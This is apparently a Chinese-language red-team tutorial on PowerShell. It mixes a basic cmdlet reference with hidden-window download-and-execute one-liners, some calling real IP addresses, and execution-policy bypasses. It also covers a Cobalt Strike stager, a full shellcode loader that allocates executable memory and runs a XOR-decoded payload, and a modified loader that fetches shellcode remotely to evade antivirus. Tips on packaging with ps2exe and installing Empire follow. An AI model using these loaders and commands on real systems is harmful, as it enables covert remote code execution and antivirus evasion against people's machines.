Powershell

微软;.NET框架;控制和自动化管理widows操作系统;可以逃避Anti-Virus检测

默认安装在win7及以后。

为什么使用:

  1. 脚本语言,命令行shell。和不同数量的技术进行交互。
  2. cmdlet;
PowershellCmd
基于.NET框架的基于任务的自动化命令行界面和关联的脚本语言
解释批处理和Powershell命令

加载执行远程脚本:

1
powershell -c "Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/M676F14U')"
  1. Invoke-Expression(IEX的别名):用来把字符串当作命令执行。
  2. WindowStyle Hidden(-w Hidden):隐藏窗口
  3. Nonlnteractive(-NonI):非交互模式,PowerShell不为用户提供交互的提示。
  4. NoProfile(-NoP):PowerShell控制台不加载当前用户的配置文件。
  5. Noexit(-Noe):执行后不退出Shell。
  6. EncodedCommand(-enc): 接受base64 encode的字符串编码,避免一些解析问题

脚本执行策略:

默认执行策略不允许我们执行或运行脚本;

获取当前执行策略;

1
Get-ExecutionPolicy

当前会话的所有执行策略;

1
Get-ExecutionPolicy -List

设置执行策略;

1
Set-ExecutionPolicy Unrestricted
AllSigned允许执行所有具有数字签名的脚本
Bypass不阻止任何操作,且没有任何警告或提示
Default设置默认执行策略
RemoteSigned允许执行具有数字签名的通过网络下载的脚本;本地创建的不要求具有数字签名
Restricted受限制
Undefined没有设置
Unrestrictrd允许运行未签名的脚步。有安全性提示

绕过执行策略:

本地读取然后通过管道符运行

1
powershell get-content a.ps1 | powershell -noprofile -

远程下载通过IEX运行脚本

1
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx/a.ps1')"

Bypass执行策略绕过

1
powershell -executionpolicy bypass -File ./a.ps1

Unrestricted执行策略

1
powershell -executionpolicy unrestricted -File ./a.ps1

[!NOTE]

1
2
3
4
# 单行注释.............
<# 多行注释.........
多行注释.........
多行注释....................#>

Commond-lets

1
2
Get-Command -CommandType Cmdlet
#获取可用的Cmdlets命令

常用命令:

1.查看powershell版本

1
2
$PSVersionTable
Get-Host

2.查看当前环境变量

1
2
3
4
5
Get-ChildItem env:
gci env:
ls env:
dir env:
#后面有个冒号的:

3.启动指定程序

1
2
3
Start-Process calc.exe
saps calc.exe
start calc.exe

4.获取指定进程信息

1
2
3
Get-Process explorer
gps
ps

5.获取文件信息

1
2
Get-Item 1.txt
gi

6.复制文件

1
2
3
4
5
Copy-Item 1.txt 2.txt

cpi
cp
copy

7.移动文件

1
2
3
4
5
Move-Item 1.txt 2.txt

mi
mv
move

8.获取指定服务信息

1
Get-Service -Name Everything

9.获取文件hash

1
2
Get-FileHash -Algorithm SHA1 1.txt
Get-FileHash -Algorithm MD5 1.txt

10.获取文件内容

1
2
3
4
Get-Content 1.txt
gc
cat
type

11.设置文本内容

1
2
Set-Content 1.txt -Value "hello, word"
sc

12.删除文件内容,但不删除该文件

1
Clear-Content 1.txt

13.获取当前目录

1
2
3
Get-Location
gl
pwd

14.查看别名

1
Get-Alias -name dir

基本语法

管道符:

1
|     # 将一个命令的输出作为另一个命令的输入

分号:

1
;   # 分号用来连续执行系统命令

调用操作符:

1
&   # 调用操作符,它允许你执行命令,脚本或函数

输出单双引号:

1
2
""""    # 输出双引号
'''' # 输出单引号

运输符:

1
2
3
4
5
6
7
8
9
>   :将输出保存到指定文件中(用法:Get-Process > output.txt)
>> :将脚本的输出追加到指定文件中(用法:test.ps1 >> output.txt)
2> :将错误输出到指定文件中(Get-Porcess none 2> Errors.txt)
2>> :将错误追加到指定文件中(Get-Process none 2>> logs-Errors.txt)
-eq :等于运算符(用法:$var1 –eq $var2,返回真或假)
-gt :大于运算符(用法:$var1 –gt $var2,返回真或假)
-match :匹配运算符,搜索字符串是否在文中出现(用法:$Text –match $string,返回真或假)
-replace :替换字符串(用法:$Text –replace 被替换的字符,替换的字符,返回真或假)
-in :测试一个字符或数字是否出现在文本中或列表中,声明列表直接使用()

Cmd启动Powershell

1
2
3
4
#常规
cmd.exe /c "powershell -c Write-Host SUCCESS -Fore Green"

cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"
1
2
3
4
#管道输入
cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell IEX $input"

cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"
1
2
3
4
5
6
7
8
#环境变量
cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green && powershell IEX $env:cmd"

cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green && cmd /c echo %cmd% | powershell -"

cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green && powershell IEX ([Environment]::GetEnvironmentVariable('cmd', 'Process'));"

cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green&&powershell IEX ((Get-ChildItem env:cmd).Value)"
1
2
#从粘贴版执行
cmd.exe /c "echo Write-Host CLIP -Fore Green | clip && powershell [void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms'); IEX ([System.Windows.Forms.Clipboard]::GetText())"
1
2
3
4
#bat脚本执行
@echo off
powershell -c Write-Host SUCCESS -Fore Green
pause

CS的powershell加载器

首先:创建监听;这个和之前的一致;过掉;这里需要获取rce漏洞后,选择实现无文件落地登录(也就是msf中的web_delivery)

image-20240513233731541

在listener选择你创建的监听,设置本地端口;

image-20240523163615271

创建后,弹出该提示框,复制里面的命令进行执行就可以实现上线了

1
2
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://47.236.182.105:8001/a'))"
-w:隐藏窗口;-c:执行powershell命令 -nop:PowerShell控制台不加载当前用户的配置文件。

image-20240523163817541

然后等待大概不到1min就上线成功了;

这里看一下实现的过程:

首先访问该链接;有很大一长串

image-20240523164130363

1
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("那一大长串的都在这里了"));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

代码解释:

首先使用base64解码里面的一长串代码;然后通过io.compression.gzipstream解压缩;最终通过iex加载执行;

1
2
3
4
5
6
7
8
9
10
11
MemoryStream类:位于System.IO命名空间,为系统内存提供流式的读写操作 。常作为其他流数据交换时的中间对象操作。

StreamReader类:位于System.IO命名空间,实现一个可读取有序字符系列的读取器,使其以一种特定的编码从字节流中读取字符。

GZipStream类:位于System.IO.Compression命名空间,使用 GZip 数据格式规范提供用于压缩和解压缩流的方法和属性。

GZipStream(Stream, CompressionMode):用指定的流和压缩模式初始化 GZipStream 类的新实例。

[IO.Compression.CompressionMode]::Decompress:指定为解压缩模式

StreamReader.ReadToEnd() 方法:读取来自流的当前位置到结尾的所有字符

如何获取加密字符串源码:

把iex更改为echo

1
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("......"));echo (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

保存为lanyuan.ps1并执行此脚本

1
powershell -ep bypass -f lanyuan.ps1 > b.txt

image-20240523170218164

获得加密字符串的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
# 启用 PowerShell 的严格模式,并设置版本为 2
# 强制要求变量在使用之前必须先声明,并且不允许使用未定义的属性、方法和变量等。
Set-StrictMode -Version 2

# 定义func_get_proc_address函数
function func_get_proc_address {
# 函数接收两个参数,$var_module表示要加载函数的DLL库名称,$var_procedure 表示要查找的函数名称。
Param ($var_module, $var_procedure)
# 通过GetAssemblies()方法获取当前应用程序域中已加载的所有程序集,然后使用Where-Object过滤出所有在全局程序集缓存中且名称为System.dll的程序集。
# 从 System.dll 中加载 Microsoft.Win32.UnsafeNativeMethods 类
# 使用GetType()方法从Microsoft.Win32.UnsafeNativeMethods类中获取一个表示GetProcAddress()方法的MethodInfo对象
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
# 使用GetType()方法从Microsoft.Win32.UnsafeNativeMethods类中获取一个表示GetProcAddress()方法的MethodInfo对象并获取 GetProcAddress 方法。
$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
# 然后通过调用该对象的Invoke()方法,获取函数地址。
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}

# 定义func_get_delegate_type函数,创建一个新的委托类型,并返回改类型
function func_get_delegate_type {
# 函数接收两个参数,$var_parameters 表示该委托类型所接受的参数为类型数组,是必需的参数。
# $var_return_type 表示该委托类型的返回值类型。默认为 [Void]
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)
# 使用 .NET 的 Reflection.Emit 命名空间动态创建具有指定参数和返回类型的新委托类型。
# 然后它为该委托类型定义一个构造函数和 Invoke 方法,并返回类型对象。
$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
return $var_type_builder.CreateType()
}

# 通过比较IntPtr类型的大小是否为8字节,来判断系统是否为64位
If ([IntPtr]::size -eq 8) {
# base64解码操作
[Byte[]]$var_code = [System.Convert]::FromBase64String('...base64加密后的payload...')

# 将byte数组进行xor异或操作
for ($x = 0; $x -lt $var_code.Count; $x++) {
$var_code[$x] = $var_code[$x] -bxor 35
}

# Marshal 类:提供了一个方法集合,这些方法用于分配非托管内存、复制非托管内存块、将托管类型转换为非托管类型,此外还提供了在与非托管代码交互时使用的其他杂项方法。
# GetDelegateForFunctionPointer<TDelegate>(IntPtr):[在 .NET Framework 4.5.1 和更高版本中受支持] 将非托管函数指针转换为指定类型的委托。
$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))

# 申请一块内存
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)

# 将payload复制到内存
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)

# 执行内存中的payload
$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
}

将payload保存为new.bin文件

image-20240523170818345

1
2
3
4
5
6
$enc=[System.Convert]::FromBase64String('...base64加密后的payload...')
for ($x = 0; $x -lt $enc.Count; $x++) {
$enc[$x] = $enc[$x] -bxor 35
}

$infile = [System.IO.File]::WriteAllBytes("new.bin",$enc)

image-20240523171019179

修改代码为读取new.bin文件内容保存到内容

1
[Byte[]]$var_code = [System.IO.File]::ReadAllBytes('new.bin')

powershell加载器

使用修改后的powershell加载shellcode的加载器:嗯,这个可能不能用了,可以自己去找别的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Set-StrictMode -Version 2

function func_get_delegate_type_new {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)
$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
$var_type_builder.DefineMethod('Inv'+'oke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
return $var_type_builder.CreateType()
}

function func_get_proc_address_new {
Param ($var_module, $var_procedure)
$var_unsafe_native_methods = [AppDomain]::CurrentDomain.GetAssemblies()
$var_unsafe_native_methods_news = ($var_unsafe_native_methods | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$var_gpa = $var_unsafe_native_methods_news.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods_news.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}

If ([IntPtr]::size -eq 8) {
[Byte[]]$acode = (New-Object Net.WebClient)."Down`l`oadData"($args[0])
$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address_new kernel32.dll VirtualAlloc), (func_get_delegate_type_new @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $acode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($acode, 0, $var_buffer, $acode.length)
$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type_new @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)

}

通过接受本地或远程的payload实现加载器与shellcode分离

1
2
3
powershell -ep bypass -f d.ps1 new.bin

powershell -ep bypass -f d.ps1 http://139.155.49.43:8000/shell1.bin

使用ps2exe把powershell脚本转为exe

1
2
https://gitee.com/yijingsec/Win-PS2EXE
powershell.exe -ep bypass -command "&'.\ps2exe.ps1' -inputFile 'd.ps1' -outputFile 'd.exe'"

直接生成可免杀?但是有控制台窗口,生成noConsole的exe会被杀

使用Empire

Empire是一个针对内网渗透的渗透测试框架。

1
2
3
https://gitee.com/yijingsec/Empire
#安装
https://bc-security.gitbook.io/empire-wiki/quickstart/installation

kali里面自带powershell-empire直接使用;也可以使用如下命令安装

1
sudo apt install powershell-empire

or docker

1
2
3
4
5
# 拉取镜像
docker pull bcsecurity/empire:latest

# 运行服务器并打开 rest api 和套接字端口
docker run -dit -p 6000-6010:6000-6010 -p 1337:1337 -p 5000:5000 bcsecurity/empire:latest

or github(不推荐)

1
2
3
4
git clone --recursive https://github.com/BC-SECURITY/Empire.git
cd Empire
./setup/checkout-latest-tag.sh
sudo ./setup/install.sh